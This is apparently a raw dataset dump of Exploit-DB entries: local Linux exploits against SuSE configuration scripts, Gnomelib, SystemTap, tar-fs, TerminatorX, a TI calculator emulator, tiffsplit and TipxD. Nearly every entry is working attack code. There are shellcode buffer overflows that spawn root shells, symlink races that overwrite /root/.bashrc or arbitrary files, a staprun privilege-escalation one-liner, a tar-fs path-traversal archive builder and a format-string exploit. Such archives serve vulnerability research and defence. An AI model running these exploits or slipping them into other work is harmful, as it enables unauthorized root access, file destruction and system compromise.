deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19508
Description: SuSE Linux 6.2 sscw - HOME Environment Variable Buffer Overflow
Type: local
Platform: linux
Date: 1999-09-23
Author: Brock Tellier

Exploit:
source: https://www.securityfocus.com/bid/656/info

A buffer overflow vulnerability in sscw's handling of the HOME environment variable allows local users to gain root privileges. 

#!/bin/bash
#
# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2
#
# -Brock Tellier btellier@webley.com

echo "Building /tmp/sccwx.c..."
cat > /tmp/sccwx.c << FOEFOE
/*
 * sccw local root Linux x86 tested on SuSE 6.2
 * gcc -o sccwx sccwx.c
 * must compile/run a setuid(geteuid()); system("/bin/bash"); for a
rootshell
 *
 * -Brock Tellier btellier@webley.com
 */


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/sc";



#define LEN 400
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
   offset=atoi(argv[1]);
   buflen=atoi(argv[2]);

 }
 else {
   offset=2100;
   buflen=300;

 }


addr=get_sp();

fprintf(stderr, "SuSE 6.2 sccw local root\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/bin/sccw", "sccw", NULL);

}
FOEFOE

echo "Building /tmp/sccwuid.c..."

cat > /tmp/sccwuid.c <<EOFFOE
void main()
{
    setuid(geteuid());
    system("/bin/bash");
}
EOFFOE

echo "Compiling /tmp/sccwx..."
gcc -o /tmp/sccwx /tmp/sccwx.c

echo "Compiling /tmp/sc..."
gcc -o /tmp/sc /tmp/sccwuid.c

echo "Launching /tmp/sccwx..."
/tmp/sccwx
echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>"
Exploit-DB #19883
Description: SuSE Linux 6.3/6.4 Gnomelib - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-04-29
Author: bladi

Exploit:
// source: https://www.securityfocus.com/bid/1155/info

A vulnerability exists in the handling of the DISPLAY variable, in versions of Gnomelib shipped with S.u.S.E. Linux, version 6.3. By supplying a long buffer containing machine executable code in the DISPLAY environment variable, it is possible to execute arbitrary code with the permissions of the user running the binary. In the case of a setuid binary, it is possible to obtain the privileges of the user it is setuid to. This in turn may be used to elevate privileges, and in theory could result in local root compromise.

S.u.S.E. 6.3 ships with 1 setgid application, /opt/gnome/sbin/gnome-pty-helper, which is setgid tty. 6.4 ships with setgid gnome games. The version of gnomelib included with S.u.S.E. 6.4 is not vulnerable to this attack, however.

/*
Gnomelib exploit by bladi & aLmUDeNa

All gnome apps have an exploitable buffer overflow
(gnomelib) when get DISPLAY environment variable.

Affected: S.u.S.E Linux: 6.3

Not vulnerable: RedHat 6.x
                Linpus Linux release 6.3
                Debian 
                  NoTe:
don't forget to put 6M in /tmp
---------(6M.c)---------
void main() {
    setuid(geteuid());
    setregid(getegid(), getegid());
    system("/bin/bash");
            }
---------(6M.c)---------

Bueno un saludo a todos los que nos conocen/quieren/odian,
bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*


                                bladi@euskalnet.net
                                almudena@hempcultivation.com
*/
  #include <stdio.h>
#include <stdlib.h>
#define NOP                              0x90
#define RANFROM                         -1400
#define RANTO                            -300

int i,x;
char *ptr;
unsigned long *ptr2;  
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
char buffer[164];

main(int argc, char *argv[])
{                          long get_sp(void)
{
__asm__("movl %esp,%eax\n");    
}                               
printf (" jpuff    ver: 1.0  \n");
printf ("         by         \n");
printf (" bladi & aLmUDeNa\n\n");
if (argc < 2 )                           
    {
    printf(" Usage ./jpuff <gnome app>\n");  
    printf("    Try: ./jpuff /opt/gnome/bin/sol => you gain
gid=40(game)\n");
    exit(1);
    }
for (x=RANFROM;x<RANTO;x=13+x)
    {
    for(i=0;i<164;i++)
        buffer[i]=0x00;
    ptr=buffer;  
      for(i=0;i<22;i++)
          *(ptr++)=NOP;
    for(i=0;i<strlen(execshell);i++)
          *(ptr++)=execshell[i];
    ptr2=(long *)ptr;
    for(i=0;i<20;i++)           
          *(ptr2++)=get_sp()+x;
     setenv("DISPLAY",buffer,1);  
    system(argv[1]);
    }
printf("\n- --( ExPLoIT DoNE )-- -\n");
printf("Have a lot of fun... ;*\n\n");  
return 0;
}
Exploit-DB #19867
Description: SuSE Linux 6.x - Arbitrary File Deletion
Type: local
Platform: linux
Date: 2000-04-21
Author: Peter_M

Exploit:
source: https://www.securityfocus.com/bid/1130/info

A vulnerability exists in SuSE Linux, version 6.3 and prior, that can allow arbitrary users to delete any file on the system. If the MAX_DAYS_IN_TMP variable is set in /etc/rc.config to be larger than 0, any local user can remove any file on the system. This is due to a flaw in /etc/cron.daily/aaa_base in SuSE 6.3, or /root/bin/cron.daily in older versions.

It has been reported that only files in the root directory (/) can be removed. Previously, it was thought arbitrary files anywhere on the filesystem could be removed.

mkdir -p "/tmp/foo vmlinux"
touch -t old-date "/tmp/foo vmlinux"
Exploit-DB #144
Description: SuSE Linux 9.0 - YaST Configuration Skribt Overwrite Files
Type: local
Platform: linux
Date: 2004-01-15
Author: l0om

Exploit:
#include <stdio.h>  
#include <unistd.h>  
#include <string.h>  
  
#define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."  
#define START 1  
#define END 33000  
  
 int main(int argc, char **argv)  
 {  
 int i;  
 char buf[150];  
  
 printf("\tSuSE 9.0 YaST script 
SuSEconfig.gnome-filesystem exploit\n");  
 printf("\t-------------------------------------------------------------
\n");  
 printf("\tdiscovered and written by l0om 
<l0om excluded org>\n");  
 printf("\t WWW.EXCLUDED.ORG\n\n");  
  
 if(argc != 2) {  
 printf("usage: %s <destination-file>\n",argv[0]);  
 exit(0xff);  
 }  
  
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);  
 read(1, buf, 1); fflush(stdin);  
  
 umask(0000);  
 printf("working\n\n");  
 for(i = START; i < END; i++) {  
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);  
 if(mkdir(buf,00777) == -1) {  
 fprintf(stderr, "cannot creat directory [Nr.%d]
\n",i);  
 exit(0xff);  
 }  
 if(!(i%1000))printf(".");  
 strcat(buf, "/found");  
 if(symlink(argv[1], buf) == -1) {  
 fprintf(stderr, "cannot creat symlink from %s to %s 
[Nr.%d]\n",buf,argv[1],i);  
 exit(0xff);  
 }  
 }  
 printf("\ndone!\n");  
 printf("next time the SuSE.gnome-filesystem script 
gets executed\n");  
 printf("we will create or overwrite file %s
\n",argv[1]);  
 return(0x00);  
 }  /* i cant wait for the new gobbles comic!! */ 

// milw0rm.com [2004-01-15]
Exploit-DB #23223
Description: SuSE Linux Professional 8.2 - SuSEWM Configuration File Insecure Temporary File
Type: local
Platform: linux
Date: 2003-10-06
Author: Nash Leon

Exploit:
// source: https://www.securityfocus.com/bid/8778/info

A problem exists in the SuSEWM configuration file used by SuSEConfig. Because of this, it may be possible for a local attacker to gain elevated privileges.

/*
 * Proof of Concept for SuSEconfig.vmware Symbolic Link. 
 * Tested on SuSE 8.2.
 * Nash Leon  - nashleon@yahoo.com.br
 *
 * Reference: 
 * http://www.security.nnov.ru/search/document.asp?docid=5216
 *
 * We Need Yast2 for elevation privilege(or wait root run then).
 * 
 * This sample create file /root/.bashrc in Suse 8.2. 
 * If you use this with kdeglobals vulnerability, you can install trojan 
 * horse in bashrc(local root is possible). Denial of Service too,
 * if you define target file /etc/passwd or other.
 *
 *
 * Thanks for Mercenaries's Club
 * http://cdm.frontthescene.com.br
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

#define  ERROR   -1
#define  TARGET  "/root/.bashrc" /* Change this for other attack */

int main(int argc, char *argv[]){
int i, first, last;
char buffer[60];


fprintf(stdout,"Proof of Concept for Symbolic Link in SuSEconfig.vmware - Suse 8.2\n");
fprintf(stdout,"Mercenaries's Club - http://cdm.frontthescene.com.br\n");


/* We don't need to get Current PID. Suse 8.2 is very poor em security
 * against symbolic link attacks.
 * There is not protect for creation of symbolic links in
 * /tmp. We can create 65535 files with symbolic link
 * if We wanted(this is 100% accurate).
 */

//first = getpid();


first = 0;

/* We don't need to get possible PID for Yast2 sw_single run
 * SuSE.vmware because SuSE 8.2 don't limit creation of 
 * symbolic links.
 */

last = 65535;

for(i = first; i < last + 1; i++){
bzero(buffer,50);
snprintf(buffer,59,"ln -s %s /tmp/susewm.%d",TARGET,i); // Are you hacker?:)
system(buffer);
 }



/* Run Yast2, note this need X-Window and permission.
 * This code is not for script kiddies.
 * Other attacks are possible.
 *
 * In Yast2, you will try uninstall some program.
 * When Yast2 run update tool, it will run SuSEconfig.vmware
 * as root and the specified file will be overwrite.
 */

system("/sbin/yast2 'sw_single'");

return 0;
}
Exploit-DB #15620
Description: SystemTap - Local Privilege Escalation
Type: local
Platform: linux
Date: 2010-11-26
Author: Tavis Ormandy

Exploit:
CVE-2010-4170

printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever


RHEL Advisory:
https://rhn.redhat.com/errata/RHSA-2010-0894.html
Exploit-DB #33604
Description: SystemTap 1.0/1.1 - '__get_argv()' / '__get_compat_argv()' Local Memory Corruption
Type: local
Platform: linux
Date: 2010-02-05
Author: Josh Stone

Exploit:
source: https://www.securityfocus.com/bid/38120/info

SystemTap is prone to multiple local memory-corruption vulnerabilities.

An attacker may exploit these issues to execute arbitrary code with SYSTEM privileges. Failed exploit attempts will result in a denial of service.

SystemTap 1.1 is vulnerable; other versions may also be affected. 

#!/bin/bash
while [ "0" = "0" ] ; do
HOME=1
/bin/echo /usr/src/kernels/2.6.18-128.el5-PAE-i686/include/*/*

cat /proc/slabinfo
done
Exploit-DB #52268
Description: tar-fs 3.0.0 - Arbitrary File Write/Overwrite
Type: local
Platform: linux
Date: 2025-04-22
Author: cybersploit

Exploit:
# Exploit Title: tar-fs 3.0.0 - Arbitrary File Write/Overwrite
# Date: 17th April, 2024
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/mafintosh/tar-fs
# Version: tar-fs 3.0.0
# Tested on: Ubuntu
# CVE: CVE-2024-12905


# Run the command: Example: python3 exploit.py authorized_keys ../../../../../../../../home/user1/authorized_keys
# This will generate two tar file: stage_1.tar and stage_2.tar
# Upload stage_1.tar first to unarchive the symlink
# Next, upload stage_2.tar to finally write/overwrite the file on the system


import os
import sys
import tarfile

link_name = "normal_file"

def check_arguments():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <path_to_file_contents> <path_to_target_file_to_overwrite>\n\
Example: {sys.argv[0]} authorized_keys ../../../../../../../../home/user1/authorized_keys\
        ")
        sys.exit()
    content_file_path = sys.argv[1]
    target_file_path = sys.argv[2]

    return content_file_path, target_file_path

def create_symlink(link_name, target_path):
    os.symlink(target_path, link_name)
    print("[+] Created symlink: {link_name} -> {target_path}")

def archive_files(archive_name, file_path):
    tar = tarfile.open(archive_name, 'w')
    tar.add(file_path, link_name, recursive=False)
    tar.close()
    print(f"[+] Archived to: {archive_name}")

def main():
    content_path, target_file = check_arguments()

    stage_1_archive_name = "stage_1.tar"
    stage_2_archive_name = "stage_2.tar"

    create_symlink(link_name, target_file)

    archive_files(stage_1_archive_name, link_name)
    archive_files(stage_2_archive_name, content_path)

if __name__ == "__main__":
    main()
Exploit-DB #23350
Description: TerminatorX 3.8 - Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (1)
Type: local
Platform: linux
Date: 2003-11-07
Author: c0wboy

Exploit:
// source: https://www.securityfocus.com/bid/8993/info

It has been reported that TerminatorX may be prone to multiple vulnerabilities when handling command-line and environment variable data. As a result, an attacker may be capable of exploiting the application in a variety of ways to execute arbitrary code with elevated privileges. It should be noted that TerminatorX is not installed setuid by default, however the author recommends that users make the application setuid root.

/* gEEk-terminatorX.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * terminatorX v3.81
 *
 * Tested on:  Redhat 9.0
 *
 * Advisory source: c0wboy
 * http://www.0x333.org/advisories/outsiders-terminatorX-001.txt
 *
 * v3.81 uid=0(root) is only gained when compiled with: --enable-suidroot
 *
 * -----------------------------------------
 * coded by: demz (geekz.nl) (demz@geekz.nl)
 * -----------------------------------------
 *
 */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=

	"\x31\xc0"                      // xor          eax, eax
        "\x31\xdb"                      // xor          ebx, ebx
        "\x31\xc9"                      // xor          ecx, ecx
        "\xb0\x46"                      // mov          al, 70
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\x50"                          // push         eax
        "\x68\x6e\x2f\x73\x68"          // push  long   0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // push  long   0x69622f2f
        "\x89\xe3"                      // mov          ebx, esp
        "\x50"                          // push         eax
        "\x53"                          // push         ebx
        "\x89\xe1"                      // mov          ecx, esp
        "\x99"                          // cdq
        "\xb0\x0b"                      // mov          al, 11
        "\xcd\x80"                      // int          0x80

        "\x31\xc0"                      // xor          eax, eax
        "\xb0\x01"                      // mov          al, 1
        "\xcd\x80";                     // int          0x80

int main()
{
	unsigned long ret = 0xbffff1f0;

	char buffer[4380];
	int i=0;

	memset(buffer, 0x90, sizeof(buffer));

	for (0; i < strlen(shellcode) - 1;i++)
	buffer[2100 + i] = shellcode[i];

	buffer[4380] = (ret & 0x000000ff);
	buffer[4381] = (ret & 0x0000ff00) >> 8;
	buffer[4382] = (ret & 0x00ff0000) >> 16;
	buffer[4383] = (ret & 0xff000000) >> 24;
	buffer[4384] = 0x0;

	printf("\nterminatorX v3.81 local exploit\n");
        printf("---------------------------------------- demz @ geekz.nl --\n");

	execl("/usr/local/bin/terminatorX", "terminatorX", "-r", buffer, NULL);
}
Exploit-DB #23352
Description: TerminatorX 3.8 - Multiple Command-Line and Environment Buffer Overrun Vulnerabilities (3)
Type: local
Platform: linux
Date: 2003-11-07
Author: m00 security

Exploit:
// source: https://www.securityfocus.com/bid/8993/info
  
It has been reported that TerminatorX may be prone to multiple vulnerabilities when handling command-line and environment variable data. As a result, an attacker may be capable of exploiting the application in a variety of ways to execute arbitrary code with elevated privileges. It should be noted that TerminatorX is not installed setuid by default, however the author recommends that users make the application setuid root.

/*******************************************************
*	     terminatorX v3.80 - local root exploit
*	          by m00 Security / Over_G
*
*	  overg[at]mail.ru		www.m00.ru
*
*		   Bugs discovered by c0wboy
********************************************************/

#include <stdio.h>
#include <stdlib.h>


char shellcode[] =      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
      			"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
      			"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
      			"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
      			"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
      			"\x80\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

unsigned long ret = 0xbffffaaa;


int main(int argc, char ** argv)
{
int i,offset;
char buffer[1266];

  if(argv[1]) { offset=atoi(argv[1]);
  	ret = ret - offset; }

for (i=0; i < (259-strlen(shellcode));i++) buffer[i]=0x90;
memcpy((buffer+259-strlen(shellcode)),shellcode,strlen(shellcode));
memcpy((buffer+259),"A",1);
memcpy((buffer+260), (char*)&ret, 4);



printf("\nterminatorX v3.80 - local root exploit by m00 Security / Over_G\n    	  www.m00.ru		OverG[at]mail.ru\n\n");
printf("Using ret: 0x%08x \n",ret);

execl("/usr/local/bin/terminatorX","terminatorX","-f",buffer,NULL);

}
Exploit-DB #39692
Description: Texas Instrument Emulator 3.03 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2016-04-13
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Texas Instruments calculators emulator (without GDB)
# Version: 3.03-nogdb+dfsg-3
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: TiEmu emulates Texas Instruments calculators TI
9/92/92+/V200PLT.
# Kali Linux 2.0 package: pool/main/t/tiemu/tiemu_3.03-nogdb+dfsg-3_i386.deb
# MD5sum: 79a42bb40dfa8437b6808a9072faf001
# Website: http://lpg.ticalc.org/prj_tiemu/
#
#
# Starting program: /usr/bin/tiemu -rom=$(python -c 'print "A"*80')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# TiEmu 3 - Version 3.03
# THIS PROGRAM COMES WITH ABSOLUTELY NO WARRANTY
# PLEASE READ THE DOCUMENTATION FOR DETAILS
#
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x41414141 in ?? ()
#
# gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb6ec9367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb6ecaa23 in __GI_abort () at abort.c:89
#3  0xb6f07778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb6ffd715 "*** %s ***: %s
#4  0xb6f97b85 in __GI___fortify_fail (msg=msg@entry=0xb6ffd6fd "stack
smashing detected") at fortify_fail.c:31
#5  0xb6f97b3a in __stack_chk_fail () at stack_chk_fail.c:28
#6  0x0811beb3 in _start ()

import os,subprocess

def run():
  try:
    print "# Texas Instrument Emulator Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*84
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd1\xf3\xff\xbf"
    subprocess.call(["tiem ",'-rom= ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Texas Instrument emulator not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Tiem 3.03-nogdb+dfsg-3 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
Exploit-DB #1831
Description: tiffsplit (libtiff 3.8.2) - Local Stack Buffer Overflow
Type: local
Platform: linux
Date: 2006-05-26
Author: nitr0us

Exploit:
# tiffsplit (libtiff <= 3.8.2) local stack buffer overflow PoC

tiffsplit from libtiff (http://www.remotesensing.org/libtiff/)
is vulnerable to a bss-based and stack-based overflow, but, I just
wrote the concept c0de for stack-based b0f 'cause I don't know how
to take advantage of the overwritten bss data (after the overflow,
that data is overwritten again correctly by a program' function).

.bss section is in higher addresses than .dtors section, so, we
can't hijack .dtors to....

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1831.tar.gz (05262006-tiffspl33t.tar.gz)

nitr0us <nitrousenador[at]gmail[dot]com>

# milw0rm.com [2006-05-26]
Exploit-DB #684
Description: TipxD 1.1.1 - Not SETUID Local Format String
Type: local
Platform: linux
Date: 2004-12-14
Author: CoKi

Exploit:
/* tipxd_exp.c

TipxD Format String Vulnerability

TipxD <= 1.1.1 local exploit (Proof of Concept)

Tested in Slackware 9.0 / 9.1 / 10.0

by CoKi <coki@nosystem.com.ar> - SECU
No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/bin/tipxd"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL};
int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);

/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = popen(temp, "r");
if(fscanf(f, " %08x", &dtorsaddr) != 1) {
pclose(f);
printf("Cannot find .dtors address\n");
exit(1);
}
pclose(f);
dtorsaddr = dtorsaddr + 4;

printf("\n TipxD <= 1.1.1 local exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");
printf(" shellcode address = %.8p\n", shaddr);
printf(" .dtors address = %.8p\n\n", dtorsaddr);

bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));

strcat(buffer, "x");

/* adding .dtors address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &dtorsaddr);
strncat(buffer, temp, 4);
dtorsaddr++;
}

/* convert shellcode address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);

bal1 = (shaddr & 0xff000000) >> 24;
bal2 = (shaddr & 0x00ff0000) >> 16;
bal3 = (shaddr & 0x0000ff00) >> 8;
bal4 = (shaddr & 0x000000ff);

cn1 = bal4 - 16 - 15 - 48 - 2 -1;
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);

memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);

sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n\x90\x90\x90\x90"
,nop1, nop2, nop3, nop4);

strcat(buffer, temp);

execle(PATH, "tipxd", "-f", buffer, NULL, env);
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;

return addr;
}

// milw0rm.com [2004-12-14]